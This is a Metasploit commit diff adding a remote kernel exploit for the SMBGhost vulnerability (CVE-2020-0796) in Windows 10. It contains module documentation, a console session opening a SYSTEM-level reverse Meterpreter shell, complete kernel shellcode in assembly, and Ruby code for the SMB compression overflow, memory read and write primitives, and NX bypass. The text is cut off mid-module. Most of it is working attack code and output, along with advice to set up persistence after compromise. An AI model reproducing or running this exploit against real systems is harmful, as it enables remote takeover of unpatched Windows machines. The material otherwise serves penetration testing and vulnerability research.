Land #15024, Add RCE Exploit For CVE-2020-0796 (SMBGhost)

Merge branch 'land-15024' into upstream-master
This commit is contained in:
bwatters 2021-05-20 17:02:04 -05:00
commit 72375d1f67
10 changed files with 912 additions and 13 deletions

View File

@ -479,6 +479,7 @@ DEPENDENCIES
rubocop
ruby-prof (= 1.4.2)
simplecov (= 0.18.2)
swagger-blocks
timecop
yard

View File

@ -0,0 +1,98 @@
## Vulnerable Application
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe.
This vulnerability was patched in March 2020 but prior to that enough information was publicly available to trigger a
crash which led to pre-patch workarounds. The official recommendation from [Microsoft][1] at the time was to disable
SMBv3 compression, a feature which this exploit relies on. The module's check method will determine this value using the
registry to identify whether or not compression has been disabled.
Other recommendations included restricting access to TCP port 445 via firewalls.
### Warning
There is a high probability that even when the exploit is successful the remote target will crash within about 90
minutes. It is recommended that after a successful compromise, a persistence mechanism be established and the system be
rebooted to avoid a Blue Screen of Death (BSOD).
### Installation And Setup
Windows 10 versions 1903 and 1909 (without the patch) are vulnerable out of the box. The default setting is to have
SMBv3 compression enabled.
### Exploit Internals
The exploit is based on [this PoC][2] and [this research][3]. At a high level the steps are:
1. Leverage the vulnerability to create a read primitive for physical memory
1. Use the vulnerability to write an `MDL` describing the physical memory to read into `KUSER_SHARED_DATA`
* `KUSER_SHARED_DATA` is used because it exists at a known address and has read/write permissions
1. Use the vulnerability to corrupt a `SRVNET_BUFFER_HDR` to reference the previously written MDL
1. Attempt to negotiate with the remote server, causing the desired memory to be returned as the response
1. Use the read primitive to scan for the low stub, fingerprinting it based on a known value
1. Extract the address of the page map level 4 (PML4) from the low stub once found
1. Store the address of the low stub because it exists within the HAL heap
1. Scan the PML4 for its self-reference entry to leak its address in virtual memory, this is also used to translate
virtual addresses into physical addresses in the future
1. Scan the HAL heap looking for the `hal!HalpInterruptController`, fingerprinting it based on a known pattern
1. Extract the address of the `hal!HalpApicRequestInterrupt` from the `hal!HalpInterruptController`
1. Use the write primitive to overwrite the PTE for `KUSER_SHARED_DATA`, granting it the necessary privileges to be
executable
1. Copy the shellcode (which is a combination of a kernel mode bootstrap and the usermode payload from Metasploit) to
`KUSER_SHARED_DATA`
1. Use the write primitive to overwrite the pointer of `hal!HalpApicRequestInterrupt` in `hal!HalpInterruptController`,
replacing it with a pointer to the shellcode
1. The shellcode queues an APC to inject the usermode payload into a spoolsv.exe instance with NT AUTHORITY\SYSTEM
privileges
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/windows/smb/cve_2020_0796_smbghost`
1. Set the `RHOSTS` and `PAYLOAD` options
1. Do: `run`
1. You should get a shell, the exploitation process may take a few minutes
## Scenarios
### Windows 10 Version 1909 Build 18363.418 x64
```
msf6 > use exploit/windows/smb/cve_2020_0796_smbghost
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76
RHOSTS => 192.168.159.76
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.76:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.159.76:445 - The service is running, but could not be validated.
[*] 192.168.159.76:445 - Found low stub at physical address 0x0000000000013000
[*] 192.168.159.76:445 - PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.159.76:445 - HAL heap found at 0xfffff7cd80000000
[*] 192.168.159.76:445 - Found PML4 self-reference entry at 0x0122
[*] 192.168.159.76:445 - Found hal!HalpInterruptController at 0xfffff7cd80001478
[*] 192.168.159.76:445 - Found hal!HalpApicRequestInterrupt at 0xfffff8035f6b7bb0
[*] 192.168.159.76:445 - KUSER_SHARED_DATA PTE NX bit cleared!
[*] Sending stage (200262 bytes) to 192.168.159.76
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.76:49675) at 2021-04-09 14:01:43 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-RTCRBEV
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
meterpreter >
```
[1]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
[2]: https://github.com/chompie1337/SMBGhost_RCE_PoC
[3]: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html

View File

@ -106,7 +106,7 @@
</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
@ -129,7 +129,7 @@
</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
@ -154,7 +154,7 @@
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
@ -188,10 +188,10 @@ IF EXIST "..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
</PreLinkEvent>
<PostBuildEvent>
<Command>IF EXIST "..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
mkdir "..\..\..\..\data\exploits\CVE-2020-0796\"
<Command>IF EXIST "..\..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2020-0796\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@ -203,7 +203,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
@ -234,10 +234,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796
</Command>
</PreLinkEvent>
<PostBuildEvent>
<Command>IF EXIST "..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
mkdir "..\..\..\..\data\exploits\CVE-2020-0796\"
<Command>IF EXIST "..\..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2020-0796\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>

View File

@ -0,0 +1,350 @@
; kernel_shellcode.asm
; Function and offset resolution shellcode by sleepya (EternalBlue exploit)
;
; The payload is "installed" by being transferred into RWX memory and then overwriting the hal!HalpApicRequestInterrupt
; pointer in the hal!HalpApicRequestInterrupt dispatch table, effectively hooking it. Once executed, the shellcode will
; restore the original function pointer.
;
; This was updated to be compatible with metasm. The following 3 values need to be specified via #fixup:
; * PHALP_APIC_REQUEST_INTERRUPT - the original address of hal!HalpApicRequestInterrupt
; * PPHALP_APIC_REQUEST_INTERRUPT - the address of the pointer to hal!HalpApicRequestInterrupt in
; hal!HalpInterruptController
; * USER_SHELLCODE_SIZE - the length in bytes of the usermode shellcode
;
; The layout in memory will be as follows (only the first two sections need to be passed with the exploit):
; [ kernel mode shellcode ] [ user mode shellcode ] [ kernel mode shellcode data ]
; offsets to members within the shellcode's data section
#define OFFSET_NTBASE 0x0
#define OFFSET_PEB_ADDR 0x8
#define OFFSET_KAPC 0x10
#define OFFSET_KAPC2 0x68
#define OFFSET_SC_BASE_ADDR 0xD0
; some hardcoded EPROCESS and ETHREAD field offsets. I think they're consistent on Win10?
#define OFFSET_EPROCTHREADLIST 0x30
#define OFFSET_ETHREADTHREADLIST 0x2F8
#define OFFSET_ETHREADMISCFLAGS 0x74
#define OFFSET_MISCFLALTERTABLE 0x4
; peb offsets
#define OFFSET_PEB_LDR 0x18
#define OFFSET_PEB_INMEMORDER 0x20
; hashes to resolve function pointers
#define HASH_PSGETCURRPROC 0xDBF47C78
#define HASH_PSGETPROCIMAGENAME 0x77645F3F
#define HASH_PSGETPROCID 0x170114E1
#define HASH_PSGETPROCPEB 0xB818B848
#define HASH_KEINITIALIZEAPC 0x6D195CC4
#define HASH_KEINSERTQUEUEAPC 0xAFCC4634
#define HASH_ZWALLOCVIRTMEM 0x576E99EA
#define HASH_CREATETHREAD 0x835E515E
#define HASH_SPOOLSV 0x3EE083D8
; size of usermode APC shellcode
_main:
_prologue:
push r8
push r9
push r13
push r15
push r14
push rcx
push rdx
push rbx
push rsi
push rdi
lea r14, [rip-$_+_data_addr]
add r14, USER_SHELLCODE_SIZE
_patch_back_hal_table:
mov rax, PPHALP_APIC_REQUEST_INTERRUPT
mov rbx, PHALP_APIC_REQUEST_INTERRUPT
mov [rax], rbx
sti
xor rcx, rcx
db 0x44, 0x0f, 0x22, 0xc1 ; 'mov cr8, rcx' (metasm incorrectly encodes this instruction)
mov ecx, 0xc0000082
rdmsr
and eax, 0xFFFFF000
shl rdx, 0x20
add rax, rdx
_find_nt_base:
sub rax, 0x1000
cmp word [rax], 0x5a4d
jne _find_nt_base
mov r15, rax
mov [r14 + OFFSET_NTBASE], r15
_get_current_eprocess:
mov edi, HASH_PSGETCURRPROC
call _call_nt_func
mov r13, rax
_get_image_name_eprocess:
mov edi, HASH_PSGETPROCIMAGENAME
call _get_offset_from_function
mov rcx, rax
_get_proc_links_eprocess:
mov edi, HASH_PSGETPROCID
call _get_offset_from_function
mov rdx, rax
add rdx, 0x8
_find_target_process_loop:
lea rsi, [r13+rcx]
call calc_hash
cmp eax, HASH_SPOOLSV
je _found_target_process
mov r13, [r13+rdx]
sub r13, rdx
jmp _find_target_process_loop
_found_target_process:
mov edi, HASH_PSGETPROCPEB
mov rcx, r13
call _call_nt_func
mov [r14 + OFFSET_PEB_ADDR], rax
mov r8, [r13 + OFFSET_EPROCTHREADLIST]
mov r9, [r13 + OFFSET_EPROCTHREADLIST + 0x8]
sub r8, OFFSET_ETHREADTHREADLIST
xor rsi, rsi
_find_good_thread:
sub r9, OFFSET_ETHREADTHREADLIST
mov edi, dword [r9 + OFFSET_ETHREADMISCFLAGS]
bt edi, OFFSET_MISCFLALTERTABLE
jnc _find_good_thread_loop
mov rsi, r9
jmp _init_apc
_find_good_thread_loop:
cmp r8, r9
mov r9, [r9 + OFFSET_ETHREADTHREADLIST + 8]
jne _find_good_thread
_init_apc:
test rsi, rsi
jz _restore_regs_and_jmp_back
lea rcx, [r14 + OFFSET_KAPC]
mov rdx, rsi
xor r8, r8
lea r9, [rip-$_+_kernel_apc_routine]
push rdx
push r8
push r8
push r8
mov edi, HASH_KEINITIALIZEAPC
sub rsp, 0x20
call _call_nt_func
add rsp, 0x40
_insert_apc:
lea rcx, [r14 + OFFSET_KAPC]
mov edi, HASH_KEINSERTQUEUEAPC
sub rsp, 0x20
mov rax, 0x5
db 0x44, 0x0f, 0x22, 0xc0 ; 'mov cr8, rax' (metasm incorrectly encodes this instruction)
call _call_nt_func
add rsp, 0x20
_restore_regs_and_jmp_back:
cli
mov rax, rbx
pop rdi
pop rsi
pop rbx
pop rdx
pop rcx
pop r14
pop r15
pop r13
pop r9
pop r8
jmp rax
_call_nt_func:
call _get_proc_addr
jmp rax
_get_proc_addr:
; Save registers
push rbx
push rcx
push rsi ; for using calc_hash
; use rax to find EAT
mov eax, dword [r15+60] ; Get PE header e_lfanew
add rax, r15
mov eax, dword [rax+136] ; Get export tables RVA
add rax, r15
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov ebx, dword [rax+32] ; FunctionNames
add rbx, r15
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
add rsi, r15 ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
pop rax ; restore EAT
mov ebx, dword [rax+36]
add rbx, r15 ; ordinate table virtual address
mov cx, word [rbx+rcx*2] ; desired functions ordinal
mov ebx, dword [rax+28] ; Get the function addresses table rva
add rbx, r15 ; Add the modules base address
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
add rax, r15 ; Add the modules base address to get the functions actual VA
pop rsi
pop rcx
pop rbx
ret
calc_hash:
push rdx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop rdx
ret
_get_offset_from_function:
call _get_proc_addr
cmp byte [rax+2], 0x80
ja _get_offset_dword
movzx eax, byte [rax+3]
ret
_get_offset_dword:
mov eax, dword [rax+3]
ret
_kernel_apc_routine:
push r15
push r14
push rdi
push rsi
_find_createthread_addr:
lea rax, [rip-$_+_data_addr]
mov rax, [rax + USER_SHELLCODE_SIZE + OFFSET_PEB_ADDR]
mov rcx, [rax + OFFSET_PEB_LDR]
mov rcx, [rcx + OFFSET_PEB_INMEMORDER]
_find_kernel32_dll_loop:
mov rcx, [rcx]
cmp word [rcx+0x48], 0x18
jne _find_kernel32_dll_loop
mov rax, [rcx+0x50]
cmp dword [rax+0xc], 0x00320033
jnz _find_kernel32_dll_loop
mov r15, [rcx + 0x20]
mov edi, HASH_CREATETHREAD
call _get_proc_addr
mov r14, rax
_alloc_mem:
lea r15, [rip-$_+_data_addr]
mov r15, [r15 + USER_SHELLCODE_SIZE + OFFSET_NTBASE]
xor eax, eax
lea rdx, [rip-$_+_data_addr]
add rdx, USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR
mov ecx, eax
not rcx
mov r8, rax
mov al, 0x40
push rax
shl eax, 6
push rax
mov [r9], rax
sub rsp, 0x20
mov edi, HASH_ZWALLOCVIRTMEM
call _call_nt_func
add rsp, 0x30
_copy_user_bootstrap_and_shellcode:
lea rdi, [rip-$_+_data_addr]
mov rdi, [rdi + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR]
lea rsi, [rip-$_+_user_shellcode_bootstrap]
mov ecx, 0x1d + USER_SHELLCODE_SIZE
rep movsb
_init_and_insert_apc:
lea rcx, [rip-$_+_data_addr]
add rcx, USER_SHELLCODE_SIZE + OFFSET_KAPC2
mov rdx, qword [gs:0x188]
xor r8, r8
lea r9, [rip-$_+_kernel_apc_routine2]
push r8
push 0x1
lea rax, [rip-$_+_data_addr]
mov rax, [rax + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR]
push rax
push r8
sub rsp, 0x20
mov edi, HASH_KEINITIALIZEAPC
call _call_nt_func
add rsp, 0x40
lea rcx, [rip-$_+_data_addr]
add rcx, USER_SHELLCODE_SIZE + OFFSET_KAPC2
mov rdx, r14
xor r9, r9
mov edi, HASH_KEINSERTQUEUEAPC
sub rsp, 0x20
call _call_nt_func
add rsp, 0x20
_kernel_apc_done:
pop rsi
pop rdi
pop r14
pop r15
ret
_kernel_apc_routine2:
nop
ret
_user_shellcode_bootstrap:
xchg rdx, rax
xor ecx, ecx
push rcx
push rcx
mov r9, rcx
lea r8, [rip-$_+_user_shellcode] ; user payload has been appended to bottom of this shellcode
mov edx, ecx
sub rsp, 0x20
call rax
add rsp, 0x30
ret
_data_addr:
_user_shellcode:

View File

@ -93,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary
dialect = simple.client.dialect
if simple.client.is_a? RubySMB::Client
if dialect == '0x0311'
info[:capabilities][:compression] = simple.client.server_encryption_algorithms.map do |algorithm|
info[:capabilities][:compression] = simple.client.server_compression_algorithms.map do |algorithm|
RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP[algorithm]
end
info[:capabilities][:encryption] = simple.client.server_encryption_algorithms.map do |algorithm|

View File

@ -53,11 +53,12 @@ class MetasploitModule < Msf::Exploit::Local
],
'DisclosureDate' => '2020-03-13',
'DefaultTarget' => 0,
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
'Notes' =>
{
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
'Reliability' => [ REPEATABLE_SESSION, ],
'RelatedModules' => [ 'exploit/windows/smb/cve_2020_0796_smbghost' ]
}
}
)

View File

@ -0,0 +1,449 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck
LZNT1 = RubySMB::Compression::LZNT1
# KUSER_SHARED_DATA offsets, these are defined by the module and are therefore target independent
KSD_VA_MAP = 0x800
KSD_VA_PMDL = 0x900
KSD_VA_SHELLCODE = 0x950 # needs to be the highest offset for #cleanup
MAX_READ_RETRIES = 5
WRITE_UNIT = 0xd0
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SMBv3 Compression Buffer Overflow',
'Description' => %q{
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
can take a few minutes as the necessary data is gathered.
},
'Author' =>
[
'hugeh0ge', # Ricerca Security research, detailed technique description
'chompie1337', # PoC on which this module is based
'Spencer McIntyre', # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2020-0796' ],
[ 'URL', 'https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html' ],
[ 'URL', 'https://github.com/chompie1337/SMBGhost_RCE_PoC' ],
# the rest are not cve-2020-0796 specific but are on topic regarding the techniques used within the exploit
[ 'URL', 'https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s' ],
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems' ],
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows' ],
[ 'URL', 'https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 10
},
'Privileged' => true,
'Payload' =>
{
'Space' => 600,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 10 v1903-1909 x64',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'OverflowSize' => 0x1100,
'LowStubFingerprint' => 0x1000600e9,
'KuserSharedData' => 0xfffff78000000000,
# Offset(From,To) => Bytes
'Offset(HalpInterruptController,HalpApicRequestInterrupt)' => 0x78,
'Offset(LowStub,SelfVA)' => 0x78,
'Offset(LowStub,PML4)' => 0xa0,
'Offset(SrvnetBufferHdr,pMDL1)' => 0x38,
'Offset(SrvnetBufferHdr,pNetRawBuffer)' => 0x18
}
]
],
'DisclosureDate' => '2020-03-13',
'DefaultTarget' => 0,
'Notes' =>
{
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'RelatedModules' => [ 'exploit/windows/local/cve_2020_0796_smbghost' ]
}
)
)
register_options([Opt::RPORT(445),])
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
])
end
def check
begin
client = RubySMB::Client.new(
RubySMB::Dispatcher::Socket.new(connect(false)),
username: '',
password: '',
smb1: false,
smb2: false,
smb3: true
)
protocol = client.negotiate
client.disconnect!
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError
return CheckCode::Unknown
rescue Errno::ECONNRESET
return CheckCode::Unknown
rescue ::Exception => e # rubocop:disable Lint/RescueException
vprint_error("#{rhost}: #{e.class} #{e}")
return CheckCode::Unknown
end
return CheckCode::Safe unless protocol == 'SMB3'
return CheckCode::Safe unless client.dialect == '0x0311'
lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
CheckCode::Detected
end
def smb_negotiate
# need a custom negotiate function because the responses will be corrupt while reading memory
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
packet = RubySMB::SMB2::Packet::NegotiateRequest.new
packet.client_guid = SecureRandom.random_bytes(16)
packet.set_dialects((RubySMB::Client::SMB2_DIALECT_DEFAULT + RubySMB::Client::SMB3_DIALECT_DEFAULT).map { |d| d.to_i(16) })
packet.capabilities.large_mtu = 1
packet.capabilities.encryption = 1
nc = RubySMB::SMB2::NegotiateContext.new(
context_type: RubySMB::SMB2::NegotiateContext::SMB2_PREAUTH_INTEGRITY_CAPABILITIES
)
nc.data.hash_algorithms << RubySMB::SMB2::PreauthIntegrityCapabilities::SHA_512
nc.data.salt = "\x00" * 32
packet.add_negotiate_context(nc)
nc = RubySMB::SMB2::NegotiateContext.new(
context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES
)
nc.data.flags = 1
nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1
packet.add_negotiate_context(nc)
dispatcher.send_packet(packet)
dispatcher
end
def write_primitive(data, addr)
dispatcher = smb_negotiate
dispatcher.tcp_socket.get_once # disregard the response
uncompressed_data = rand(0x41..0x5a).chr * (target['OverflowSize'] - data.length)
uncompressed_data << "\x00" * target['Offset(SrvnetBufferHdr,pNetRawBuffer)']
uncompressed_data << [ addr ].pack('Q<')
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
original_compressed_segment_size: 0xffffffff,
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
offset: data.length,
compressed_data: (data + LZNT1.compress(uncompressed_data)).bytes
)
dispatcher.send_packet(pkt)
dispatcher.tcp_socket.close
end
def write_srvnet_buffer_hdr(data, offset)
dispatcher = smb_negotiate
dispatcher.tcp_socket.get_once # disregard the response
dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset)
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
original_compressed_segment_size: 0xffffefff,
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
offset: dummy_data.length,
compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes
)
dispatcher.send_packet(pkt)
dispatcher.tcp_socket.close
end
def read_primitive(phys_addr)
value = @memory_cache[phys_addr]
return value unless value.nil?
vprint_status("Reading from physical memory at index: 0x#{phys_addr.to_s(16).rjust(16, '0')}")
fake_mdl = MDL.new(
mdl_size: 0x48,
mdl_flags: 0x5018,
mapped_system_va: (target['KuserSharedData'] + KSD_VA_MAP),
start_va: ((target['KuserSharedData'] + KSD_VA_MAP) & ~0xfff),
byte_count: 600,
byte_offset: ((phys_addr & 0xfff) + 0x4)
)
phys_addr_enc = (phys_addr & 0xfffffffffffff000) >> 12
(MAX_READ_RETRIES * 2).times do |try|
write_primitive(fake_mdl.to_binary_s + ([ phys_addr_enc ] * 3).pack('Q<*'), (target['KuserSharedData'] + KSD_VA_PMDL))
write_srvnet_buffer_hdr([(target['KuserSharedData'] + KSD_VA_PMDL)].pack('Q<'), target['Offset(SrvnetBufferHdr,pMDL1)'])
MAX_READ_RETRIES.times do |_|
dispatcher = smb_negotiate
blob = dispatcher.tcp_socket.get_once
dispatcher.tcp_socket.close
next '' if blob.nil?
next if blob[4..7] == "\xfeSMB".b
@memory_cache[phys_addr] = blob
return blob
end
sleep try**2
end
fail_with(Failure::Unknown, 'Failed to read physical memory')
end
def find_low_stub
common = [0x13000].to_enum # try the most common value first
all = (0x1000..0x100000).step(0x1000)
(common + all).each do |index|
buff = read_primitive(index)
entry = buff.unpack('Q<').first
next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff)
lowstub_va = buff[target['Offset(LowStub,SelfVA)']...(target['Offset(LowStub,SelfVA)'] + 8)].unpack('Q<').first
print_status("Found low stub at physical address 0x#{index.to_s(16).rjust(16, '0')}, virtual address 0x#{lowstub_va.to_s(16).rjust(16, '0')}")
pml4 = buff[target['Offset(LowStub,PML4)']...(target['Offset(LowStub,PML4)'] + 8)].unpack('Q<').first
print_status("Found PML4 at 0x#{pml4.to_s(16).rjust(16, '0')} " + { 0x1aa000 => '(BIOS)', 0x1ad000 => '(UEFI)' }.fetch(pml4, ''))
phal_heap = lowstub_va & 0xffffffffffff0000
print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")
return { pml4: pml4, phal_heap: phal_heap }
end
fail_with(Failure::Unknown, 'Failed to find the low stub')
end
def find_pml4_selfref(pointers)
search_len = 0x1000
index = pointers[:pml4]
while search_len > 0
buff = read_primitive(index)
buff = buff[0...-(buff.length % 8)]
buff.unpack('Q<*').each_with_index do |entry, i|
entry &= 0xfffff000
next unless entry == pointers[:pml4]
selfref = ((index + (i * 8)) & 0xfff) >> 3
pointers[:pml4_selfref] = selfref
print_status("Found PML4 self-reference entry at 0x#{selfref.to_s(16).rjust(4, '0')}")
return pointers
end
search_len -= [buff.length, 8].max
index += [buff.length, 8].max
end
fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')
end
def get_phys_addr(pointers, va_addr)
pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))
pml4e = pointers[:pml4] + pml4_index * 8
pdpt_buff = read_primitive(pml4e)
pdpt = pdpt_buff.unpack('Q<').first & 0xfffff000
pdpte = pdpt + pdpt_index * 8
pdt_buff = read_primitive(pdpte)
pdt = pdt_buff.unpack('Q<').first & 0xfffff000
pdte = pdt + pdt_index * 8
pt_buff = read_primitive(pdte)
pt = pt_buff.unpack('Q<').first
unless pt & (1 << 7) == 0
return (pt & 0xfffff000) + (pt_index & 0xfff) * 0x1000 + (va_addr & 0xfff)
end
pt &= 0xfffff000
pte = pt + pt_index * 8
pte_buff = read_primitive(pte)
(pte_buff.unpack('Q<').first & 0xfffff000) + (va_addr & 0xfff)
end
def disable_nx(pointers, addr)
lb = (0xffff << 48) | (pointers[:pml4_selfref] << 39)
ub = ((0xffff << 48) | (pointers[:pml4_selfref] << 39) + 0x8000000000 - 1) & 0xfffffffffffffff8
pte_va = ((addr >> 9) | lb) & ub
phys_addr = get_phys_addr(pointers, pte_va)
orig_val = read_primitive(phys_addr).unpack1('Q<')
overwrite_val = orig_val & ((1 << 63) - 1)
write_primitive([ overwrite_val ].pack('Q<'), pte_va)
{ pte_va: pte_va, original: orig_val }
end
def search_hal_heap(pointers)
